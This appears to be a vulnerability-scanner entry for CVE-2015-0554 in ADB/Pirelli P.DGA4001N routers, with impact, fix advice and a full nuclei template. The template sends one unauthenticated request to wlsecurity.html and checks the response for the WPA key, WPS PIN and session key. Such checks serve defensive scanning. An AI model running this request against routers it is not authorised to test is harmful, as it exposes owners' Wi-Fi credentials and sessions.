ADB/Pirelli ADSL2/2+ Wireless Router P.DGA4001N - Information Disclosure

criticalseverity

9.4CVSS score

38.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

ADB (formerly Pirelli Broadband Solutions) P.DGA4001N router with firmware PDG_TEF_SP_4.06L.6 does not properly restrict access to the web interface, which allows remote attackers to obtain sensitive information or cause a denial of service (device restart) as demonstrated by a direct request to (1) wlsecurity.html or (2) resetrouter.html.

Impact

An attacker can exploit this vulnerability to gain sensitive information from the router.

Fix

Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wlsecurity.html
Positive when: contains "var wpapskkey" and "var WscDevPin" and "var sessionkey" AND status 200

Run it with nuclei: nuclei -id CVE-2015-0554 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-0554

info:
  name: ADB/Pirelli ADSL2/2+ Wireless Router P.DGA4001N - Information Disclosure
  author: daffainfo
  severity: critical
  description: ADB (formerly Pirelli Broadband Solutions) P.DGA4001N router with firmware PDG_TEF_SP_4.06L.6 does not properly restrict access to the web interface, which allows remote attackers to obtain sensitive information or cause a denial of service (device restart) as demonstrated by a direct request to (1) wlsecurity.html or (2) resetrouter.html.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the router.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/35721
    - http://packetstormsecurity.com/files/129828/Pirelli-ADSL2-2-Wireless-Router-P.DGA4001N-Information-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2015-0554
    - http://www.exploit-db.com/exploits/35721
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:N/A:C
    cvss-score: 9.4
    cve-id: CVE-2015-0554
    cwe-id: CWE-264
    epss-score: 0.38932
    epss-percentile: 0.98602
    cpe: cpe:2.3:o:adb:p.dga4001n_firmware:pdg_tef_sp_4.06l.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: adb
    product: p.dga4001n_firmware
  tags: cve2015,cve,pirelli,router,disclosure,edb,packetstorm,adb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wlsecurity.html"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "var wpapskkey"
          - "var WscDevPin"
          - "var sessionkey"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from